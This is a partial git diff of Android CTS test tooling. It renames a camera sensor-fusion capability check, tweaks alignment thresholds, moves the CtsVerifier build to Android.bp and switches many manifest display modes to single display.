Merge "Tweak some variable names"
diff --git a/1 b/1
deleted file mode 100644
index 390b35c..0000000
--- a/1
+++ /dev/null
@@ -1,12 +0,0 @@
-Change CtsAssistTest to support display cutout
-
-
-
-Signed-off-by: Carlos Franciscatto <carlosaf@motorola.com>
-
-# Please enter the commit message for your changes. Lines starting
-# with '#' will be ignored, and an empty message aborts the commit.
-# On branch IKSWR-3208
-# Changes to be committed:
-#	modified:   tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java
-#
diff --git a/PREUPLOAD.cfg b/PREUPLOAD.cfg
index 7b9c427..2572b01 100644
--- a/PREUPLOAD.cfg
+++ b/PREUPLOAD.cfg
@@ -36,6 +36,9 @@
                       tests/tests/view/
                       tests/tests/widget/
                       common/device-side/util/
+                      hostsidetests/car/
+                      hostsidetests/multiuser/
+                      hostsidetests/scopedstorage/
                       hostsidetests/stagedinstall/
                       hostsidetests/userspacereboot/
                       tests/tests/packageinstaller/atomicinstall/
diff --git a/apps/CameraITS/pymodules/its/caps.py b/apps/CameraITS/pymodules/its/caps.py
index ccbaa65..ddb3c95 100644
--- a/apps/CameraITS/pymodules/its/caps.py
+++ b/apps/CameraITS/pymodules/its/caps.py
@@ -555,12 +555,13 @@
               0 in props["android.request.availableCapabilities"]
 
 
-def sensor_fusion_capable(props):
+def sensor_fusion_test_capable(props, cam):
     """Determine if test_sensor_fusion is run."""
     return all([
             its.caps.sensor_fusion(props),
             its.caps.manual_sensor(props),
-            props["android.lens.facing"] != FACING_EXTERNAL])
+            props["android.lens.facing"] != FACING_EXTERNAL,
+            cam.get_sensors().get("gyro")])
 
 
 def multi_camera_frame_sync_capable(props):
diff --git a/apps/CameraITS/tests/scene1_1/test_dng_noise_model.py b/apps/CameraITS/tests/scene1_1/test_dng_noise_model.py
index 30e2569..c022e70 100644
--- a/apps/CameraITS/tests/scene1_1/test_dng_noise_model.py
+++ b/apps/CameraITS/tests/scene1_1/test_dng_noise_model.py
@@ -57,7 +57,7 @@
         sens_min, _ = props['android.sensor.info.sensitivityRange']
         sens_max_ana = props['android.sensor.maxAnalogSensitivity']
         sens_step = (sens_max_ana - sens_min) / NUM_STEPS
-        s_ae, e_ae, _, _, _ = cam.do_3a(get_results=True, do_af=False)
+        s_ae, e_ae, _, _, _ = cam.do_3a(get_results=True)
         s_e_prod = s_ae * e_ae
         # Focus at zero to intentionally blur the scene as much as possible.
         f_dist = 0.0
diff --git a/apps/CameraITS/tests/scene4/test_multi_camera_alignment.py b/apps/CameraITS/tests/scene4/test_multi_camera_alignment.py
index 67f3806..7ca6e24 100644
--- a/apps/CameraITS/tests/scene4/test_multi_camera_alignment.py
+++ b/apps/CameraITS/tests/scene4/test_multi_camera_alignment.py
@@ -279,8 +279,8 @@
         dist_y = abs(child_shape['cty']-prt_shape['cty'])
         # 1. 0.56*Parent's width < Child's width < 0.76*Parent's width.
         # 2. 0.56*Parent's height < Child's height < 0.76*Parent's height.
-        # 3. Child's width > 0.1*Image width
-        # 4. Child's height > 0.1*Image height
+        # 3. Child's width > 0.075*Image width
+        # 4. Child's height > 0.075*Image height
         # 5. 0.25*Parent's area < Child's area < 0.45*Parent's area
         # 6. Child == 0, and Parent == 255
         # 7. Center of Child and center of parent should overlap
@@ -288,8 +288,8 @@
                     < prt_shape['width'] * 0.76
                     and prt_shape['height'] * 0.56 < child_shape['height']
                     < prt_shape['height'] * 0.76
-                    and child_shape['width'] > 0.1 * size[1]
-                    and child_shape['height'] > 0.1 * size[0]
+                    and child_shape['width'] > 0.075 * size[1]
+                    and child_shape['height'] > 0.075 * size[0]
                     and 0.30 * prt_area < child_area < 0.50 * prt_area
                     and img_bw[child_shape['cty']][child_shape['ctx']] == 0
                     and img_bw[child_shape['top']][child_shape['left']] == 255
diff --git a/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py b/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
index f1b1d36..0caf148 100644
--- a/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
+++ b/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
@@ -425,7 +425,7 @@
     with its.device.ItsSession() as cam:
         props = cam.get_camera_properties()
         props = cam.override_with_hidden_physical_camera_props(props)
-        its.caps.skip_unless(its.caps.sensor_fusion_capable(props))
+        its.caps.skip_unless(its.caps.sensor_fusion_test_capable(props, cam))
 
         print "Starting sensor event collection"
         cam.start_sensor_events()
diff --git a/apps/CameraITS/tools/load_scene.py b/apps/CameraITS/tools/load_scene.py
index 2261cc4..1993a54 100644
--- a/apps/CameraITS/tools/load_scene.py
+++ b/apps/CameraITS/tools/load_scene.py
@@ -37,7 +37,7 @@
         elif s[:4] == 'fov=' and len(s) > 4:
             camera_fov = float(s[4:])
         elif s[:7] == "camera=" and len(s) > 7:
-            camera_id = s[7:]
+            camera_id = str(s[7:])
 
     cmd = ('adb -s %s shell am force-stop com.google.android.apps.docs' %
            screen_id)
@@ -77,6 +77,7 @@
     cmd = ("adb -s %s wait-for-device shell am start -d 'file://%s'"
            " -a android.intent.action.VIEW" % (screen_id, dst_scene_file))
     subprocess.Popen(cmd.split())
+    time.sleep(LOAD_SCENE_DELAY)
 
     with its.device.ItsSession() as cam:
         props = cam.get_camera_properties()
diff --git a/apps/CameraITS/tools/run_all_tests.py b/apps/CameraITS/tools/run_all_tests.py
index b5152f2..ca3e9f0 100644
--- a/apps/CameraITS/tools/run_all_tests.py
+++ b/apps/CameraITS/tools/run_all_tests.py
@@ -307,7 +307,7 @@
     with ItsSession(camera_id) as cam:
         props = cam.get_camera_properties()
         method = {'test_sensor_fusion': {
-                          'flag': its.caps.sensor_fusion_capable(props),
+                          'flag': its.caps.sensor_fusion_test_capable(props, cam),
                           'runs': 10},
                   'test_multi_camera_frame_sync': {
                           'flag': its.caps.multi_camera_frame_sync_capable(props),
@@ -523,7 +523,7 @@
             id_combo_string += ItsSession.CAMERA_ID_TOKENIZER + id_combo.sub_id
             scenes = [scene for scene in scenes if HIDDEN_PHYSICAL_CAMERA_TESTS[scene]]
         # Loop capturing images until user confirm test scene is correct
-        camera_id_arg = "camera=" + id_combo.id
+        camera_id_arg = "camera=" + id_combo_string
         print "Preparing to run ITS on camera", id_combo_string, "for scenes ", scenes
 
         os.mkdir(os.path.join(topdir, id_combo_string))
diff --git a/apps/CtsVerifier/Android.bp b/apps/CtsVerifier/Android.bp
index 01c579e..69ef63f 100644
--- a/apps/CtsVerifier/Android.bp
+++ b/apps/CtsVerifier/Android.bp
@@ -2,3 +2,66 @@
     name: "CtsVerifierMockVrListenerServiceFiles",
     srcs: ["src/com/android/cts/verifier/vr/MockVrListenerService.java"],
 }
+
+android_test {
+    name: "CtsVerifier",
+    defaults: ["cts_error_prone_rules_tests"],
+
+    compile_multilib: "both",
+
+    srcs: [
+        "src/**/*.java",
+        "src/**/I*.aidl",
+    ],
+
+    aidl: {
+        include_dirs: ["frameworks/native/aidl/gui"],
+    },
+
+    static_libs: [
+        "android-ex-camera2",
+        "compatibility-common-util-devicesidelib",
+        "cts-sensors-tests",
+        "cts-camera-performance-tests",
+        "ctstestrunner-axt",
+        "apache-commons-math",
+        "androidplot",
+        "ctsverifier-opencv",
+        "core-tests-support",
+        "androidx.legacy_legacy-support-v4",
+        "mockito-target-minus-junit4",
+        "mockwebserver",
+        "compatibility-device-util-axt",
+        "platform-test-annotations",
+        "cts-security-test-support-library",
+        "cts-midi-lib",
+        "cbor-java",
+        "CtsCameraUtils",
+        "androidx.legacy_legacy-support-v4",
+        "CtsForceStopHelper-constants",
+    ],
+
+    libs: ["telephony-common"] + ["android.test.runner.stubs"] + ["android.test.base.stubs"] + ["android.test.mock.stubs"] + ["android.car"] + ["voip-common"] + ["truth-prebuilt"],
+
+    platform_apis: true,
+
+    jni_libs: [
+        "libctsverifier_jni",
+        "libctsnativemidi_jni",
+        "libaudioloopback_jni",
+    ],
+
+    optimize: {
+        proguard_flags_files: ["proguard.flags"],
+    },
+
+    dex_preopt: {
+        enabled: false,
+    },
+}
+
+// opencv library
+java_import {
+    name: "ctsverifier-opencv",
+    jars: ["libs/opencv3-android.jar"],
+}
diff --git a/apps/CtsVerifier/Android.mk b/apps/CtsVerifier/Android.mk
index c22e03d..007be8c 100644
--- a/apps/CtsVerifier/Android.mk
+++ b/apps/CtsVerifier/Android.mk
@@ -15,65 +15,6 @@
 #
 
 LOCAL_PATH:= $(call my-dir)
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_MULTILIB := both
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src) $(call all-Iaidl-files-under, src) \
-                    ../ForceStopHelperApp/src/com/android/cts/forcestophelper/Constants.java
-
-LOCAL_AIDL_INCLUDES := \
-    frameworks/native/aidl/gui
-
-LOCAL_USE_AAPT2 := true
-
-LOCAL_STATIC_JAVA_LIBRARIES := android-ex-camera2 \
-                               compatibility-common-util-devicesidelib \
-                               cts-sensors-tests \
-                               cts-camera-performance-tests \
-                               ctstestrunner-axt \
-                               apache-commons-math \
-                               androidplot \
-                               ctsverifier-opencv \
-                               core-tests-support \
-                               androidx.legacy_legacy-support-v4  \
-                               mockito-target-minus-junit4 \
-                               mockwebserver \
-                               compatibility-device-util-axt \
-                               platform-test-annotations \
-                               cts-security-test-support-library \
-                               cts-midi-lib \
-                               cbor-java
-
-LOCAL_STATIC_ANDROID_LIBRARIES := \
-    androidx.legacy_legacy-support-v4
-
-LOCAL_JAVA_LIBRARIES += telephony-common
-LOCAL_JAVA_LIBRARIES += android.test.runner.stubs
-LOCAL_JAVA_LIBRARIES += android.test.base.stubs
-LOCAL_JAVA_LIBRARIES += android.test.mock.stubs
-LOCAL_JAVA_LIBRARIES += android.car
-LOCAL_JAVA_LIBRARIES += voip-common
-LOCAL_JAVA_LIBRARIES += truth-prebuilt
-
-LOCAL_PACKAGE_NAME := CtsVerifier
-LOCAL_PRIVATE_PLATFORM_APIS := true
-
-LOCAL_JNI_SHARED_LIBRARIES := \
-	libctsverifier_jni \
-	libctsnativemidi_jni \
-	libaudioloopback_jni \
-
-LOCAL_PROGUARD_FLAG_FILES := proguard.flags
-
-LOCAL_DEX_PREOPT := false
--include cts/error_prone_rules_tests.mk
-include $(BUILD_PACKAGE)
-
 # Build CTS verifier framework as a libary.
 
 include $(CLEAR_VARS)
@@ -100,14 +41,6 @@
 
 include $(BUILD_STATIC_JAVA_LIBRARY)
 
-# opencv library
-include $(CLEAR_VARS)
-
-LOCAL_PREBUILT_STATIC_JAVA_LIBRARIES := \
-        ctsverifier-opencv:libs/opencv3-android.jar
-
-include $(BUILD_MULTI_PREBUILT)
-
 pre-installed-apps := \
     CtsEmptyDeviceAdmin \
     CtsEmptyDeviceOwner \
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index ca5bd5e..0724870 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -122,7 +122,7 @@
             <meta-data android:name="test_required_features"
                     android:value="android.software.device_admin" />
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".admin.DeviceAdminUninstallTestActivity"
@@ -136,7 +136,7 @@
             <meta-data android:name="test_required_features"
                        android:value="android.software.device_admin" />
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".admin.tapjacking.DeviceAdminTapjackingTestActivity"
@@ -150,7 +150,7 @@
             <meta-data android:name="test_required_features"
                        android:value="android.software.device_admin" />
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <receiver android:name=".admin.tapjacking.EmptyDeviceAdminReceiver"
@@ -167,7 +167,7 @@
             android:theme="@style/OverlayTheme"
             android:label="Overlaying Activity">
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity
@@ -231,7 +231,7 @@
             <meta-data android:name="test_required_features"
                     android:value="android.software.device_admin" />
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
 <!--            CTS Verifier Bluetooth Test Top Screen -->
@@ -1390,7 +1390,7 @@
             <meta-data android:name="test_category" android:value="@string/test_category_security" />
             <meta-data android:name="test_required_features" android:value="android.software.secure_lock_screen" />
             <meta-data android:name="test_excluded_features"
-                android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.watch" />
+                android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.watch:android.hardware.type.automotive" />
             <meta-data android:name="display_mode"
                        android:value="multi_display_mode" />
         </activity>
@@ -1818,11 +1818,11 @@
         </activity>
         -->
 
-        <activity android:name=".location.LocationListenerActivity"
+        <activity android:name=".managedprovisioning.LocationListenerActivity"
                 android:label="@string/location_listener_activity"
                 android:configChanges="keyboardHidden|orientation|screenSize">
             <intent-filter>
-                <action android:name="com.android.cts.verifier.location.SET_LOCATION_AND_CHECK" />
+                <action android:name="com.android.cts.verifier.managedprovisioning.SET_LOCATION_AND_CHECK" />
                 <category android:name="android.intent.category.DEFAULT"></category>
                 </intent-filter>
             <meta-data android:name="display_mode"
@@ -2669,6 +2669,7 @@
                        android:value="multi_display_mode" />
         </activity>
 
+<!-- Temporary disabled b/c of incorrect assumptions in part of the test: b/160938927
         <activity android:name=".usb.device.UsbDeviceTestActivity"
                 android:label="@string/usb_device_test"
                 android:configChanges="keyboardHidden|orientation|screenSize">
@@ -2684,6 +2685,7 @@
             <meta-data android:name="display_mode"
                        android:value="multi_display_mode" />
         </activity>
+        -->
 
         <activity android:name=".usb.mtp.MtpHostTestActivity" android:label="@string/mtp_host_test">
             <intent-filter>
@@ -2721,13 +2723,13 @@
             <meta-data android:name="test_category" android:value="@string/test_category_networking" />
             <meta-data android:name="test_required_features" android:value="android.hardware.wifi.direct" />
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".managedprovisioning.RecentsRedactionActivity"
                 android:label="@string/provisioning_byod_recents" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
         <activity android:name=".managedprovisioning.IntermediateRecentActivity"
                   android:label="@string/provisioning_byod_recents"
@@ -2737,7 +2739,7 @@
                 <category android:name="android.intent.category.DEFAULT"></category>
             </intent-filter>
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
         <activity android:name=".wifi.TestListActivity"
                   android:label="@string/wifi_test"
@@ -2749,7 +2751,7 @@
             <meta-data android:name="test_category" android:value="@string/test_category_networking" />
             <meta-data android:name="test_required_features" android:value="android.hardware.wifi" />
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
         <activity android:name=".wifiaware.TestListActivity"
                   android:label="@string/aware_test"
@@ -2761,7 +2763,7 @@
             <meta-data android:name="test_category" android:value="@string/test_category_networking" />
             <meta-data android:name="test_required_features" android:value="android.hardware.wifi.aware" />
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".notifications.NotificationListenerVerifierActivity"
@@ -2862,6 +2864,7 @@
                        android:value="@string/test_category_notifications" />
             <meta-data android:name="test_excluded_features"
                        android:value="android.hardware.type.watch:android.software.leanback:android.hardware.type.automotive" />
+            <meta-data android:name="test_required_configs" android:value="config_quick_settings_supported" />
             <meta-data android:name="display_mode"
                        android:value="multi_display_mode" />
         </activity>
@@ -2907,6 +2910,7 @@
             <meta-data android:name="test_category" android:value="@string/test_category_tiles" />
             <meta-data android:name="test_excluded_features"
                        android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.watch:android.hardware.type.automotive" />
+            <meta-data android:name="test_required_configs" android:value="config_quick_settings_supported" />
             <meta-data android:name="display_mode"
                        android:value="multi_display_mode" />
         </activity>
@@ -3041,315 +3045,315 @@
                   android:label="@string/wifi_test_network_request_specific"
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".wifi.NetworkRequestPatternNetworkSpecifierTestActivity"
                   android:label="@string/wifi_test_network_request_pattern"
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".wifi.NetworkRequestUnavailableNetworkSpecifierTestActivity"
                   android:label="@string/wifi_test_network_request_unavailable"
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".wifi.NetworkRequestInvalidCredentialNetworkSpecifierTestActivity"
                   android:label="@string/wifi_test_network_request_invalid_credential"
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".wifi.NetworkSuggestionSsidTestActivity"
                   android:label="@string/wifi_test_network_suggestion_ssid"
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".wifi.NetworkSuggestionSsidBssidTestActivity"
                   android:label="@string/wifi_test_network_suggestion_ssid_bssid"
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".wifi.NetworkSuggestionSsidPostConnectTestActivity"
                   android:label="@string/wifi_test_network_suggestion_ssid_post_connect"
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".wifi.NetworkSuggestionConnectionFailureTestActivity"
                   android:label="@string/wifi_test_network_suggestion_connection_failure"
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".wifi.NetworkSuggestionModificationInPlaceTestActivity"
                   android:label="@string/wifi_test_network_suggestion_modification_in_place"
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".p2p.GoNegRequesterTestListActivity"
                 android:label="@string/p2p_go_neg_requester"
                 android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".p2p.GoNegRequesterTestActivity"
                 android:label="@string/p2p_go_neg_requester"
                 android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".p2p.GoNegResponderTestActivity"
                 android:label="@string/p2p_go_neg_responder"
                 android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".p2p.P2pClientTestListActivity"
                 android:label="@string/p2p_join_go"
                 android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".p2p.P2pClientTestActivity"
                 android:label="@string/p2p_join_go"
                 android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".p2p.GoTestActivity"
                 android:label="@string/p2p_accept_client"
                 android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".p2p.P2pClientWithConfigTestListActivity"
                 android:label="@string/p2p_join_go"
                 android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".p2p.P2pClientWithConfig2gBandTestListActivity"
                 android:label="@string/p2p_join_go"
                 android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".p2p.P2pClientWithConfigFixedFrequencyTestListActivity"
                 android:label="@string/p2p_join_go"
                 android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".p2p.P2pClientWithConfigTestActivity"
                 android:label="@string/p2p_join_go"
                 android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".p2p.P2pClientWithConfig2gBandTestActivity"
                 android:label="@string/p2p_join_go"
                 android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".p2p.P2pClientWithConfigFixedFrequencyTestActivity"
                 android:label="@string/p2p_join_go"
                 android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".p2p.GoWithConfigTestActivity"
                 android:label="@string/p2p_accept_client"
                 android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".p2p.GoWithConfig2gBandTestActivity"
                 android:label="@string/p2p_accept_client"
                 android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".p2p.GoWithConfigFixedFrequencyTestActivity"
                 android:label="@string/p2p_accept_client"
                 android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".p2p.ServiceRequesterTestListActivity"
                 android:label="@string/p2p_service_discovery_requester"
                 android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".p2p.ServiceRequesterTestActivity"
                 android:label="@string/p2p_service_discovery_requester"
                 android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".p2p.ServiceResponderTestActivity"
                 android:label="@string/p2p_service_discovery_responder"
                 android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".wifiaware.DataPathOpenUnsolicitedPublishTestActivity"
                   android:label="@string/aware_data_path_open_unsolicited_publish"
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".wifiaware.DataPathOpenPassiveSubscribeTestActivity"
                   android:label="@string/aware_data_path_open_passive_subscribe"
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".wifiaware.DataPathPassphraseUnsolicitedPublishTestActivity"
                   android:label="@string/aware_data_path_passphrase_unsolicited_publish"
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".wifiaware.DataPathPassphrasePassiveSubscribeTestActivity"
                   android:label="@string/aware_data_path_passphrase_passive_subscribe"
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".wifiaware.DataPathPmkUnsolicitedPublishTestActivity"
                   android:label="@string/aware_data_path_pmk_unsolicited_publish"
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".wifiaware.DataPathPmkPassiveSubscribeTestActivity"
                   android:label="@string/aware_data_path_pmk_passive_subscribe"
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".wifiaware.DataPathOpenSolicitedPublishTestActivity"
                   android:label="@string/aware_data_path_open_solicited_publish"
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".wifiaware.DataPathOpenActiveSubscribeTestActivity"
                   android:label="@string/aware_data_path_open_active_subscribe"
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".wifiaware.DataPathPassphraseSolicitedPublishTestActivity"
                   android:label="@string/aware_data_path_passphrase_solicited_publish"
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".wifiaware.DataPathPassphraseActiveSubscribeTestActivity"
                   android:label="@string/aware_data_path_passphrase_active_subscribe"
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".wifiaware.DataPathPmkSolicitedPublishTestActivity"
                   android:label="@string/aware_data_path_pmk_solicited_publish"
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".wifiaware.DataPathPmkActiveSubscribeTestActivity"
                   android:label="@string/aware_data_path_pmk_active_subscribe"
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".wifiaware.DataPathOobOpenResponderTestActivity"
                   android:label="@string/aware_data_path_oob_open_responder"
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".wifiaware.DataPathOobOpenInitiatorTestActivity"
                   android:label="@string/aware_data_path_oob_open_initiator"
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".wifiaware.DataPathOobPassphraseResponderTestActivity"
                   android:label="@string/aware_data_path_oob_passphrase_responder"
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".wifiaware.DataPathOobPassphraseInitiatorTestActivity"
                   android:label="@string/aware_data_path_oob_passphrase_initiator"
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".wifiaware.DiscoveryRangingPublishTestActivity"
                   android:label="@string/aware_discovery_ranging_publish"
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".wifiaware.DiscoveryRangingSubscribeTestActivity"
                   android:label="@string/aware_discovery_ranging_subscribe"
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity-alias android:name=".CtsVerifierActivity" android:label="@string/app_name"
@@ -3631,12 +3635,12 @@
                        android:value="android.software.lockscreen_disabled" />
             <meta-data android:name="test_required_features" android:value="android.software.device_admin" />
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".managedprovisioning.DeviceOwnerNegativeTestActivity$TrampolineActivity" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".managedprovisioning.EnterprisePrivacyInfoOnlyTestActivity"
@@ -3646,7 +3650,7 @@
                 <category android:name="android.intent.category.DEFAULT" />
             </intent-filter>
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
